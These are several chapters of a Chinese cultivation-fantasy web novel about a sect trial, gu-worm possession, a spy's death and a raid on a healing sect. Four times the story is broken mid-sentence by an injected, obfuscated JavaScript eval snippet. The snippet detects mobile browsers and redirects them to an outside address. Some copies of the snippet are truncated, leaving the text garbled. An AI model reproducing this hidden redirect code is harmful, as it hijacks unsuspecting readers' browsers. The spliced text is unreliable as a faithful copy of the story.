这把匕首是灵器,虽不像普通器物那样留不住丝毫灵韵,但是随着时间的推移,附着在上面的气息会逐渐消散。而眼下其中仍保留着两道十几年前的灵韵,足见保存之人维护得当。 忍辱负重十几年,就为此刻,幕后之人也称得上一句狠人了。 两道被封存在匕首中的灵韵被缓缓从匕首中引出,一道出自柄部,一道出自刀刃。 苏慎添将两道灵韵召至身前,分辨一番后将其推至其余两位长老身前:“你们也看看。” 苏昙当即一拍桌子站起来,厉声质问苏平道:“果真是苏年师兄和你的灵韵,苏平,你竟为了楼主之位戕害同门,真是天理难容!” 苏平早已收敛了脸上那一霎的惶恐,声音平静:“渊默长老只凭这匕首中的灵韵便要定罪,岂不是过于草率了?万一当年是有人刻意偷了我的匕首,拿去杀害了师兄,现在特意来嫁祸于我呢?” 苏秋白把茶盏往桌子上一搁,仰头看苏平:“钟粹山春晓剑一脉最擅通灵,霜竹长老身正不怕影子歪,不如就请孟姑娘为长老通灵,当年之事,一探便知。” 薛昱已经回了坐席,闻言瞥了苏秋白一眼,扑面而来的冷气让人打了个寒颤。 苏平却道:“少主此言差矣。身为玉笛楼楼主,我多年来操劳门派庶务, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318519|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑中不乏宗门机密,岂能任外人通灵探查?” 薛臻虞低声啐了一口:“这人好不要脸!” 陆恒文斜眼觑他,又从怀中拿出一个卷轴,手腕猛一发力,将卷轴抛到了苏慎添面前,道:“就算不论当年这桩恩怨,自苏平继任玉笛楼楼主起,不仅收受云梦世家贿赂,还将宗门宝库内灵物运出变卖,卷轴上皆有所记载,掌门若不信,大可令人去灵库中查账!你们宗门内的百年积累,自从此人接手灵库之后,可谓是遗失众多!” 此时连丝桐长老苏歆都坐不住了,对掌门道:“前些日子我去南华州拜访万听谷,本想从灵库中找一千年雪参当做登门礼,可派人前去问,霜竹长老却一口回绝了,说雪参须得在冷潭储存才能保其药性,最后拿一百年人参草草糊弄了事。后来我想找机会去灵库探查一番,霜竹长老竟屡屡推延,看来……” 苏慎添打开那卷轴,果然在上面看到了“千年雪参”四个字,明码标价,卖给了一个富商。 薛繁听到苏歆提到雪参,不禁想起了自己寄去钟粹山的那两个盒子。 怪不得陆恒文言之凿凿,说不定这些经苏平的手流出来的东西,十有八九是被他们买了。 苏平脸上刻意维持的平静终于破碎了。他隔着半个雅台的距离看向掌门,那些往日里的轻视和自得通通化作了齑粉。 苏慎添不是不知道,原来他一直都知道——是他们玉笛楼在暗中动手脚。 “还有宗门考核。”陆恒文见上首众人神色各异,知道他们不得不信,便趁机又吐露出一桩罪证,“霜竹长老多年来在入门考核上徇私舞弊,偏袒世家子弟和天资平庸之徒,那些天资卓绝之人反倒弃之不用。诸位想一想,玉笛楼多年来为何尽出庸才,难道是云梦一带修士,个个都‘资质平庸,不堪大用’吗?” 他回身对上苏平的视线:“还是霜竹长老忮忌他人天资胜过自己,因此处处打压?苏平,有那样一个资质卓绝的师兄,想必你夜里没少咬紧牙关嫉恨于他吧?所以,杀他那日,你痛快吗?” “血口喷人!”苏平脸上青筋暴起,伸手指着台上之人,“不知苏某和阁下究竟有什么血海深仇,竟搜罗这么多罪名强加给苏某!” “欲加之罪,何患无辞啊!”他抚胸后退两步,一副摇摇欲坠、急火攻心的模样。 身旁的弟子忙扶住他,神色惶急:“师父!” “好一个装腔作势的伪君子!”陆恒文一步一步朝他走近,朗声道,“诸位有所不知,霜竹长老看似一翩翩君子,实则在床帏之间却有不为人知之癖好,三五日便要去一趟望春楼……” “住口!”苏平浑身的血全涌到了脸色,目眦欲裂地怒喝。 “那万芙蓉被你捆绑、鞭打,你每次走后她都伤痕累累,行走都难……” 不等他把话说完,那柄匕首便插入了他胸口,苏平回过神来,便见眼前之人笑得开怀,溢出黑血的嘴唇微微翕动,无声吐出了最后一句话。 “你死定了。” 36. 蛊王 陆恒文的尸体轰然倒地。周遭的喧哗吵闹在他濒死之时仿佛化作了几十年前的锣鼓喧天。 他苦等数年,终于要在那日如愿以偿地娶回他心仪的女子。 几年来数百封信件往来,早已将他和覃儿的心紧紧系在一起。只待迎她过门,他们便是这世间最恩爱的神仙眷侣,曾经应过她的,他们要一起泛舟游湖、纵马平原,走遍五州河山。 可惜,可惜。 往事走马观花般在他眼前闪过,陆恒玉利用情蛊挟他逃婚,追杀而来的皇家卫士血洒万花谷,那如阴沟老鼠般苟活的几十年,最终化作了陆恒玉被蛊虫反噬而死时,几欲冲破他心口的快意。 他知道自己只是万花谷和移花门的弃子,他在台上慷慨激昂地替林不平指控苏平,桩桩件件,似乎大仇得报。但是他被毁掉的一生,又有谁能来偿还? 弥留之际,他合上了眼睛,恍惚间,仿佛看到了他的覃儿——正凤冠霞帔地坐在喜帐里,笑意盈盈地唤他夫君。 “不是……”苏平踉跄后退了一步,满目红血丝,“是他……” 不等他话音落下,原本低眉敛目端着托盘的仆役们齐刷刷抬起了头,眼珠吊翻,瞳孔涣散,像一群被突然唤醒的恶鬼。 “砰——”仆役们手里的托盘一齐坠落,瓜果酒水散落一地。 有世家子弟不满地回头看去,结果斥责声还未出口,离他最近的那名仆役便猛地扑了上来,将人按在倾倒的桌案上,张嘴便咬住了他的咽喉,杀猪般的嚎叫刚响了几息,这人便被活活咬死了。 “杀人了!”恐慌像迅速传染的病毒,手无缚鸡之力的世家子弟最先反应过来,拔腿就往大门的方向跑,正好迎面撞上了一群匍匐着往宴会厅里爬的仆役。 他们一个个四肢着地,面目狰狞,张着血淋淋的嘴,看起来完全不像人了,反而像是一群吃人的虫! 跑得最快的那几人还没反应过来便被“人虫”群淹没,啃得只剩了几块碎骨。 苏平站在雅台下,直接目睹了几人被吃的惨状,竟是连一句完整的话都说不出,两眼一黑,直接昏死了过去。 “师父!”近旁的几名弟子忙接住他,还要分心对付扑到他们身边的仆役。 不知这群下人究竟发生了何等异变,速度极快,力量极强,见人就扑咬,仿佛蝗虫过境,令他们应接不暇。 玉笛楼弟子资质大多平庸,甚至不如其他的小宗门弟子,在“人虫”的围攻下,死伤惨重。 眼看一个仆役即将咬住苏平的咽喉,一道鼓音如晴日滚雷,直接将那“人虫”震飞了出去。 苏昙一跃便上了雅台,拎起苏平便将他扔到了掌门脚下,朱唇轻启,颇为嫌弃地吐出两个字:“废物。” 孟知匀对薛停道:“师弟,你和苏少主协助万听谷弟子救治伤员。” 薛停颔首,跟着苏秋白便朝伤亡最严重的宴席下首赶去。 钟萃山其余四人对视一眼,同时从眉心召出一道剑气,原本隐匿在小翠山四角的四柄剑凭空出现,剑气长啸,四时流转,铮铮剑意蓦然笼罩了整个宴客厅。 慌乱之中,有人惊呼:“四时剑阵!” 苏慎添协同苏昙、苏歆坐镇后方,一人横笛、一人抚琴、一人鸣鼓,桃花潭的千声阵也在一曲《桃花贺》中缓缓成型,与四时剑阵相辅相成、互为拱卫,削减了阵中“人虫”的力量和速度,使得其余阵中弟子能够“虫口夺人”。 原本千声阵能够迷乱心智,令人在幻觉中丧失战斗力,但是眼下这群仆役已然不在“活人”的范畴,仿佛一个个都变成了大型蛊虫,所以音声的影响力也大大削减。 萧翎琅带着万听谷弟子在宴客厅中来回奔走,手法纯熟地封住伤员的经脉,以防蛊毒蔓延至五脏六腑,然后从铃铛中拿出续命丹给其喂下。 “师姐,这蛊虫简直闻所未闻,实在可怕!”眼睁睁看着有人被啃食殆尽,一个万听谷弟子心下悚然,连腿都有些发软。 他们是这天底下和蛊虫打交道最多的人,一眼便看出了其中的门道,也最先意识到此间蛊毒的霸道。 陆恒文身有母蛊,并将大量子蛊种到了小翠山仆役身上,他活着的时候,身有子蛊之人尚听从他命令行事,一旦他死了,体内的母蛊随其身亡,这些失去钳制的子蛊便会彻底失控,消耗宿主的精血,影响宿主的心智,并且驱使其吞噬血肉进行供给。 萧翎琅率人跟在苏秋白和薛停身后,脸色阴沉得几乎可怕,低声道:“是噬心蛊。” 是余月亲手培育出的蛊中之王。 当初他未判出师门时,培育出的第一只噬心蛊被她一把火烧了个干净,没想到他不仅没有放弃,还把这种鬼东西用到了凡人身上。 简直是死不足惜! 春、夏、秋、冬四季降临,宴客厅陷入了一个极其诡异的境界,几名仆役爬向一名落单的世家子弟,结果身上长出了一层绿芽,然后开花,结出了妖冶的红果,随后顷刻凋零,全身的皮肉都被霜雪冻住,最后“噼里啪啦”碎成了一地雪块。 但那只蛊虫却没死,反而在转瞬之间便钻进了那世家子弟的体内,让他变成了新的“人虫”。 薛臻虞目睹了这场诡异的变化,定剑一劈,落下一道酷夏烈日般的剑气,直接将那“人虫”劈成了两半。 人死了,蛊虫仍旧没死!动作快如迅影,钻进了下一个人体内! 季节更替的枯荣杀不死这蛊,锐不可当的剑阵亦杀不死这蛊! “师姐!”薛臻虞额上冒了汗,“这虫子太邪门了,怎么杀都杀不死,怎么办啊?” 他是第一次施展四时剑阵,多亏了师门四人同气连枝、互为后盾才不至于露了怯,眼下看这形势严峻,心里难免慌乱,阵中轮转的夏日骄阳便黯淡了些许,威慑力削减。 “定心凝气!”孟知匀分出一道灵气注入他体内,“我们不能自己乱了阵脚!” 薛臻虞忙深呼吸了几口气,勉强压住阵。 薛繁眉头紧皱:“任由这虫子不断找活人寄生也不是个办法,怎么才能将其根除?” 薛昱尝试以冰雪将蛊虫封禁,没想到快如霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322977|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪剑,竟也捕捉不到那四处逃窜的虫子,其求生之本能简直是世间罕有。 苦苦支撑之际,萧翎琅忽然撤去了周身防御之灵韵,任由一只蛊虫朝她飞扑而来。 “你……”薛停挥剑想制止,却根本来不及。 那蛊虫眼见便要钻进她体内,最终竟在离她指尖不足一寸处停了下来,仿佛被自己的本能所控制,生来便不能伤害她分毫。 萧翎琅趁机以腰间铃铛将蛊虫整个扣住,然后将其扔向薛昱:“接着!必须趁蛊虫在人体内时将其一击毙命!” 薛昱一把接住铃铛,以追灵之术分离了蛊虫气息,将其猛地打入剑阵,四人再睁开眼时,眼前所见便是一副黑白水墨图景,唯有蛊虫藏身之心脉,幽幽泛起一点黄。 “你来主阵!”薛昱将阵眼之位让给孟知匀,自己则将周身灵气分为两道,一道用于霜雪剑支撑四时剑阵,一道用于支撑追灵之术。 孟知匀点头,闭上眼睛和压在阵中的花信心意相通,仿佛置身于浩荡寰宇,日夜更替、四时轮转都化作了她手中之剑,剑意连绵如春雨,转瞬之间便幻化出数百道剑气。 “破!”春雷萌动,万物惊蛰,细如针雨的无穷剑气狠狠贯穿了蛊虫们藏身的心脉,如同破土萌芽前的最后一霎。 这是花信时隔百年再度问世后斩出的第一剑! 那些身中剑气的“人虫”静了一瞬,原本狰狞可怖的脸慢慢恢复了昔日模样,然后含着笑意轰然倒地,仿佛在回光返照的最后一刻,短暂地做了个令人如沐春风的美梦。 整个宴客厅也随着这些“人虫”的死亡重归寂静,那些被修士护在身后的普通世家子弟脱力地瘫倒在地,脸上都带着劫后余生的庆幸。 他们曾经不知死活地企图攀附仙门,妄图用金钱谋得一个窥探修真界的机会,并且为此沾沾自喜。 直到今日,他们才彻底明白了修行背后潜藏着的无尽艰险,稍有不慎,便是万劫不复! 没有灵脉,未尝不是一种幸运。经历今日之事,他们才知普通人寻常生活之可贵。 剑阵中央的四人收剑入鞘,皆松了一口气。 薛臻虞两条腿软得像面条,坐了个屁股蹲儿,仰着脸看向孟知匀:“师姐,我没掉链子吧?” 孟知匀摸了摸他的脑袋,笑道:“当然!不愧是九夏剑传人,颇有槐序长老之风!” 薛臻虞“嘿嘿”一笑,不好意思地挠了挠头。 掌门苏慎添起身,命本门弟子清点伤亡人数,协助万听谷救助伤员。 薛昱则带着另外一批人以追灵之术巡逻整个小翠山,以免有漏网之鱼逃离出去,此间毒蛊一旦流入人间,便是后患无穷。 孟知匀走到萧翎琅身边,蹲下身帮着她以灵气封住伤员经脉,然后抬眸看她一眼:“你刚刚是怎么抓住那只蛊虫的?” “随手一抓,就抓到咯。”萧翎琅浑不在意地给人喂药,发上插着的银饰却无风自响。 “少主!”一名随侍大步走入宴客厅,面色焦急地对苏秋白道,“望春楼失火了!” 37. 明月 烟云郡外一处小山坡上,林不平遥望了一眼城中望春楼冒出的浓烟,低头开始抚琴,弹奏的正是那曲《云梦寻音》。 与陆恒文在雅音会上当众放出的那曲略有不同,他如今技艺更加娴熟,灵力深厚,铮铮琴音甚至能通传数十里,配着城内失火的混乱场景,显出一番别样的荒唐和苍凉。 一曲终了,他命人收好琴,自己则转身掀帘上了鹏车。 天色阴沉,车厢内坐着的女子整个隐没在阴影中,闭着眼睛,像一尊端庄持重的雕像。 陆恒文坐到她身边,从怀中拿出一个样式老旧的长命锁,动作轻柔地将它戴在了谭素月的脖子上。 他撩起她的头发,将长命锁的位置扶正,然后心情愉悦地翘起了唇角:“不错,很配你。” 谭素月始终闭着眼睛,不予理会。 “这是我娘留给我最后的东西。”鹏车缓缓升起,林不平伸手抚摸她的脸颊,“自她去世之后,我就离开了林家,拜入了移花门。” “用了整整十二年,我一步一步成了掌门,用的就是你们名门正派最看不上的邪修手段。”他语调平缓,仿佛在讲述的是一件无关紧要、稀松平常的往事,“我的师父、师兄、师弟都死在我手上,我吸干了他们的灵气,看着他们的灵脉一寸一寸枯竭,终于——站在了曾经自己仰望的那个高峰。” 谭素月眉头蹙起,眼睑轻微动了一下。 林不平捏着她的下巴,偏头打量了一会儿,问道:“大师姐,你平生最恨的是不是就是我这种人?” “我灭了你静水谷满门,还故意放出消息让你身败名裂,你恨我吗?” 谭素月不答,亦不肯睁眼看他,连皱起的眉头都慢慢舒缓,似乎吝啬施舍给他一丝情绪。 哪怕是怨恨和嫌恶。 林不平面无表情地笑了一声,忽然一把将她按在车壁上,低头撬开她的唇舌,攥着她的腰命令道:“睁眼。” 谭素月如牵线傀儡般地听从命令,一双眼睛像一对失去了光彩的琉璃珠,映出身前之人毫无怜惜的掠夺姿态。 * 城门外,柳树下。 月季看着不远处已经戒严的城门,松了口气,转身对芙蓉道:“没想到桃花潭反应这么快,要不是我们一早就趁着混乱出了城,现在就被关在城里了。” “此次任务也算圆满完成。”芙蓉头上戴着一顶破斗笠,穿着一件打了补丁的旧衣,艳丽的脸庞也涂了灰,显得颇为落拓狼狈,脸上的笑却灿烂,“掌门之前答应过你,积攒够功劳就能脱离万花谷,这下回去你就能走了。” 月季心里也欣然,但看到身旁的旧友,忍不住叹了口气:“可惜没法把薛停带走,不然你也能攒够功劳。” “钟粹山弟子最讲究同门之谊,此次我们又在小翠山布下这么个局,他们定然把人看得很紧,带他走反而给我们自己徒增麻烦,能不能活着回南华州都难说。”芙蓉冲她柔柔一笑,“何况我也不奢求能一举离开,此次凭借引导苏平更换雅音会地点一事,足够解除我身上剩下的蛊毒了。” 她目光远眺,看向烟云郡:“在此地盘旋良久,也算苦尽甘来了。” 月季自然也明白这个道理,知道带走薛停并不现实,便道:“趁他们还被绊在小翠山,我们赶紧动身吧,早点回到南华州才好。” 芙蓉从包袱里拿出一枚金铃递给她:“你先带着我的铃铛走,我还有些积蓄在烟霞县,日后怕是不能回云梦了,我得去取一趟。” “什么时候了你还想着那仨瓜俩枣!”月季忍不住板起了脸,“钱财不过是身外之物,哪有活着回去重要?” 芙蓉看着她的眼睛,叹了口气:“毕竟是我出卖身体攒下的本钱,日后离开万花谷,我们都得靠着这些身外之物过活呢。” 看出她的执拗,月季只得收下她的金铃,冷着脸转身就走:“我顶多在云梦和南华交界的陶县等你三日,到时候你若来不了,我也不会给你收尸!” 芙蓉目送着她远去,无声说了一句:“多谢。” 她走到附近的一条小溪边,仔细洗干净了头脸,拿出包袱里的一条艳丽的红菱裙换上,仰头看着乌云遍布的天,叹了口气。 命运实在亏欠她良多,甚至在这一日,都不愿施舍给她一个晴天。 * 月落乌啼。 薛停猛地睁开眼睛,发现自己不知何时竟走到了小翠山宴客厅外的一处树林中。 今夜无星无月,整片林子晦暗非常,几乎不能视物。 来人的脚步声很轻,单凭足音便能判断出是一个身段轻盈的女子。 薛停目光一凛,“唰”的拔出晨曦,剑尖直指来人胸膛:“你来送死吗?” 小翠山的夜风吹起纱裙上的红菱,缠缠绵绵地吻上剑尖。 芙蓉整个人都隐没在暗中,声音却是难得的明媚,甚至带着点真心实意的笑:“想见你,就来了。” “想见我?”薛停仿佛听到了什么天大的笑话,满腔纠缠不清的情绪都化作了一声冷笑,拿着剑的手却不禁颤抖了几下。 “薛停。”芙蓉往前走了一步,剑尖直接碰到了她胸前的肌肤。 薛停攥紧剑柄,脸色阴沉地收了手,林子中却亮起了火光。 钟粹山几人和苏秋白一同出现在了芙蓉身后,掌心的灵火将她照得分毫毕现。 她特意穿了最漂亮的舞裙,耳垂上戴着一对明月珰,明艳逼人,露出的肌肤上却有遮掩不了的青紫痕迹,像是鞭伤。 孟知匀的目光落在那些伤痕上,眸色晦暗,不知在想些什么。 苏秋白上前一步,质问道:“想必芙蓉姑娘便是万花谷安插在我云梦的细作,不知撺掇苏平更换雅音会召开地点、给小翠山仆役种下蛊虫,是否都是你的杰作?” 芙蓉掩唇一笑,柔声细语道:“我一个弱女子,哪有那么大本事?少主真是抬举我了。” “事到如今还嘴硬。”苏秋白吩咐近旁的随侍,“拿下,关入水牢,严加看管。” 芙蓉微微抬手:“我自己可以走,劳烦阁下带路。” 随侍们面面相觑,见苏秋白没有多言,便依了她,没上灵索去捆她。 走出几步之后,她突然回首看了薛停一眼,嘴唇翕动,无声吐出了几个字。 孟知匀走到薛停身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是不是还没看过我跳舞?”她走回牢笼最中央,深吸了一口气,仰头看了一眼漆黑的水牢顶部。 可惜了,临别时亦无月色肯送她一方空明。 “两年前,我一舞动烟云,只用了一曲便勾住了苏平。” 红菱飘扬,舞姿蹁跹,牢中的女子眉眼含笑,戴着沉重的锁链和满身的伤,跳下了她这一生中最后的一支舞。 当初月下暗巷中的那一眼,她便铁了心要得到薛停。 她艳羡他的干净,忮忌他的善良,她带着满身的脏污想要拉他下水,想要让他见识这世间阴暗艰险又恶心的那一面。 可惜,他和她不一样。 幸好,他和她不一样。 他在钟粹山光风霁月的十几年,他身边关怀爱护他的同门,他心中始终秉持的正义之道,都是她今生望也望不到的牢外月光。 薛停没捡那对耳铛,转身出了水牢,却在踏上岸的那一刻,感受到了挣脱泥泞的解脱—— 情蛊死了。 38. 袭击 陶县一客栈内。 月季赶了一整天的路,颇为疲惫,但是她还是强打起精神守在桌前,伸手拨弄放在桌上的那枚金铃。 铃铛通体披着一层淡淡的红光,那是芙蓉的灵韵。 她单手支着下巴,盯着那点幽红发呆,想起她们这一路走来的诸多不易,最终还是抵挡不过沉重的眼皮,趴在桌上打起了瞌睡。 短暂的梦境中,她和芙蓉先后离开了万花谷,在中州一个没人认识他们的小镇开了一家面馆,终于过上了忙碌、充实但幸福的生活。 在炼狱中苦苦煎熬了那么久,上天总该赏给他们一点甜了吧。 “哔啵”一声,灯花炸了一下。 月季被惊醒,揉了揉眼睛,看向桌上那枚金铃,忽然发现上面覆着的那层淡淡的红光已经消失殆尽了。 她猛地站起身,拿起那个铃铛,双手颤抖得几乎拿不住,清脆的铃声在屋内悠悠回荡。 豆大的眼泪一滴滴落在这枚金铃上,压抑的哭腔在深冬的夜风里格外寂寥。 “骗子。” “不是说好了要一起离开,一起去过好日子吗?” 月季抱着那枚铃铛蜷缩在窗下,仿佛一瞬之间便变回了那个只会哭的小女孩儿。 从小到大,芙蓉对她说过无数次“等我回来”,经过无数次的死里逃生的险况,而这次,她真的彻底不回来了。 她真的丢下她了。 * 孟知匀写完关于雅音会的工作总结,将其提交给了系统,然后便收到了一封邮件,告知她——由于雅音会出现意外,将扣除她本季度所有项目奖金,本月月底考核评级不超过B。 凭什么啊?雅音会出现意外完全是客观原因,又不是她能通过主观能动性解决的,人家移花门和万花谷不知道布局了多少年,才搞了这么一出狠戏,而她,甚至连桃花潭弟子都不是,哪有能力和时间去阻止这个阴谋? 申诉邮件写了一封又一封,状态通通是“已读未回”。 简直是欺人太甚! 孟知匀猛地折断了手中的毛笔,深深吸了一口气,使自己的心绪稍平静了些许,推开门准备出去晒晒太阳,不然以她现在这满身的怨气,估计鬼修见她都得绕着走。 他们的住所外面是一个多年不用的比试台,眼下躺着一堆伤员,万听谷的弟子则穿梭其间给他们上药、喂药。 “哪有你这样把伤员拉大太阳底下暴晒的?”孟知匀欲言又止地看向萧翎琅,快步走到了树荫底下。 萧翎琅拍了拍手心沾上的药粉,满不在乎地说:“不把他们放在一起,我们上药还得到处跑,而且那蛊虫可是至阴至寒之物,多晒晒太阳有助于帮他们排除体内的蛊虫遗毒。” 孟知匀总感觉她在胡说八道,但是懒得跟她争辩,一低头,发现一只胖乎乎的三花猫正在蹭她的腿。 “你是从哪冒出来的?”她蹲下身摸了摸三花猫的脑袋,小家伙舒服地眯起了眼睛,一个劲往她手心拱。 孟知匀忍不住将猫抱进了怀里,一下一下抚摸它的后背,不由自主放轻了声音:“好乖啊,简直是个宝宝。” “这只猫至少已经两岁了。”身旁不知何时便多了一道影子。 孟知匀捏着两只猫爪,仰头看向薛昱,挑了下眉:“那又如何,很可爱的、我喜欢的,都可以叫宝宝。” 薛昱看着她这副和猫别无二致的情态,忍不住轻笑了一声,没再反驳。 抱着三花猫玩了一会儿,孟知匀忽然问道:“苏平呢?他醒了吗?” 薛昱抱臂倚在树干上,闻言垂眸看她,道:“醒了,但是神志不清,不知道是真的还是装的,眼下被关押在水牢里。” 末了,他又补充了一句:“玉笛楼现在由苏掌门亲自接管,准备过段时间通过比试再选新楼主。” 孟知匀应了一声,伸手挠了挠三花的下巴,心道苏掌门这一手捧杀,倒是玩得不错。 苏家这父子俩,简直是一脉相传的面热心黑。 “喂,你们俩有没有点眼力见啊?”萧翎琅站在太阳底下朗声控诉,“这边一堆病人等着上药呢,你们不搭把手就算了,还站在那儿谈情说爱,简直是有碍观瞻!” 孟知匀没敢抬头看薛昱,又摸了把猫猫头,然后把三花放到地上,准备过去帮忙。 结果刚走出一步,萧翎琅腰间的银铃忽然无风自响,随后她身边其他万听谷弟子的铃铛也都响了起来。 躺着的伤员也被这阵铃声吓了一跳,各个伸长了脖子想看个究竟。 萧翎琅伸出右手,猛地一握,一瞬之间,铃声戛然而止。 万听谷弟子都聚到了她身边,脸色都不是很好看。 孟知匀和薛昱毕竟不是万听谷的人,就没过去凑热闹,俩人一来一回勾尾指,面上却都是一派云淡风轻。 萧翎琅和本门弟子商议过后,走到二人身旁,面色凝重道:“刚刚万铃阵传信,万花谷趁宗门派大量弟子来支援桃花潭,率领邪修破坏了山门前的无风林,攻进了宗门内,我师父受了伤,百草园的奇珍异草也被他们劫掠了将近一半。” 无风林于万听谷,如同云雾阵于钟粹山,都是宗门最重要的一道防线。多年前萧倾带人叛出万听谷后,掌门萧越已经重新在无风林内布了阵,没想到竟也拦不住他们。 估计此次雅音会这场大动作,一方面是为了搅乱桃花潭的水、为林不平报仇,另一方面便是创造机会使得万听谷人手不足,极大地提升了他们袭击成功的概率。 果真是一盘大棋! 孟知匀眉头紧皱,问道:“你们打算怎么办?” 萧翎琅下意识地拨了拨自己腰间的银铃,说道:“不知他们究竟是什么目的,以防卷土重来,我们分为两路,一路留在桃花潭治疗伤员,我带另一路回万听谷回援师父她们。” 薛昱和孟知匀对视一眼,说道:“此事事关重大,我们会传信给钟粹山,请长老们带人前去援助万听谷。万花谷和移花门猖獗至此,不能让他们继续为祸人间。” “翎琅代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329807|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万听谷先行谢过诸位了!”萧翎琅难得规规矩矩地行了一礼,“我们即可便要出发,这边就先交给你们了。” “放心吧。”孟知匀伸手扶她。 “对了,还有一件事得告诉你们。”萧翎琅走出两步后又拐了回来,看向薛昱,“这次伤到了我师父的剑气——是金素剑的。” “金素剑”三个字像是晴日惊雷,在薛昱向来平静的脸上劈出了一道裂痕。 孟知匀见他身上开始往外冒冷气了,想也没想便握住了他的手,叫了声:“师兄。” 薛昱闭了下眼睛,收敛了浑身的寒意,对萧翎琅道:“我跟你们一起去万听谷。” “行啊,你一个人可比我们这一堆人都有用。”萧翎琅瞥了一眼他们相握的手,不明意味地笑了一下,“我们医修出门只能坐鹏车,位置没几个,你们俩就自己御剑过去吧。” 说完,她就带着一群万听谷弟子先行离开了。 孟知匀后知后觉地松开手,发现他的掌心并不冰冷,反而透着暖意。 薛昱垂眸看她,那双漂亮得如同曜石的眸子一瞬不瞬地盯着她,仿佛不想错过她任何一个细微的表情:“要和我一起去吗?” “不然呢?”孟知匀伸出左手,勾了勾自己的尾指,潋滟的眸光像是一池落了一层花瓣的清泉。 * 孟知匀和薛昱先通过千里音给宗门传了信,然后便跟薛繁几人道了别,让他们留下协助桃花潭处理雅音会留下的残局,自己则御剑赶去了万听谷。 南华州和北凛州一样多山,但是比北边的山更加连绵,所以定位也更为困难。 好在薛昱之前游历过五州,曾经来过万听谷,二人绕着无风林飞了一圈,稳稳落在了山门前。 “什么人?”驻守在山门前的万听谷弟子朗声喝道。 薛昱直接将自己的弟子腰牌递给了她:“钟粹山剑修。” “原来是薛二少主。”分辨清楚腰牌上的灵韵后,弟子对他们一颔首,打开山门,往银铃中拍了一道灵韵报信,“掌门受了伤,眼下正在谷中修养,所以须得万分慎重,若有怠慢,请多见谅。” 孟知匀微笑道:“没事,都能理解。” “掌门在百草堂等二位。”那弟子从空中抓来一道萤火,将其轻轻抛到他们面前,“跟着这小东西走便是。” “多谢。”薛昱点了点头,二人抬步迈入了山门。 整座山谷都缭绕着一股清苦的药香,眼下宗门内没什么人,显得更加空旷幽静,偶有几个万听谷弟子路过,也大多都捧着医术或者药炉匆匆来去。 跟着萤火走到了一处清幽的房舍,薛昱刚要抬手敲门,里面便传来一道中气不足的嗓音:“进来吧。” 孟知匀和薛昱进入屋内,只见一个荆钗布衣的女子正坐在炉前烤火,一张没什么特色的脸在火光的照映下显得格外恬淡。 “掌门。”二人行了个弟子礼。 萧越掩唇咳了几下,看向薛昱:“我就知道,你必然会来,坐吧。” 39. 亏欠 翌日,二人从万听谷离开,薛昱手中多了一个瓷瓶,里面是手拿金素剑袭击萧越之人的血,凭借此物追灵,他们很快便锁定了万花谷邪修所藏匿的深山。 “萧掌门和她姐姐还真是两个极端。”抵达山门入口,孟知匀握紧了花信,跟着薛昱往里面走,回想起这对姐妹,忍不住感慨了一句。 薛昱一边放出灵气探索前路,一边小心回护着身后的师妹,低声道:“若论天资,萧掌门未必不如她姐姐,只不过她为人通透,一心只在医道之上,又不在乎世人评价,反倒被扣了个平庸的帽子。” 孟知匀叹了口气。 萧倾拿活人做实验,草菅人命,乱用蛊毒,却被称为万听谷百年难遇的天才,而萧越几十年如一日地治病救人,下山游历治病救人时甚至分文不取,到头来被称平庸,实在让人心有不忿。 “这里先前应该设了迷雾阵,加之万花谷人行踪诡秘,这才多年不曾暴露。”薛昱用剑尖挑开悬在树上的毒蛇尸体,认出这是迷雾阵的阵眼,“不知他们这次袭击万听谷究竟意欲何为,甚至不惜放弃苦心经营多年的地盘。” 孟知匀四下扫视了一眼,这个山谷比万听谷所在之地更为逼仄狭窄,两侧的山壁被凿出了大大小小的洞室,中间只有一条通到底的石子小路。 如今这些洞室都已人走楼空,唯有一些来不及带走的蛇鼠毒虫在洞窟中流窜。 那滴血里的气息一直沿着小路往前蔓延。 孟知匀抬头看了一眼,微微抿了下唇。 薛昱一直都是个情绪极为收敛的人,那些浓烈的、忘不掉的情感仿佛通通被霜雪封禁在了他的骨血深处,需要有极具刺激性的外因才能烧化那些坚冰,让他变得不一样。 就比如现在—— 似乎每多走一步,他身上凛冽的寒意便多一分。 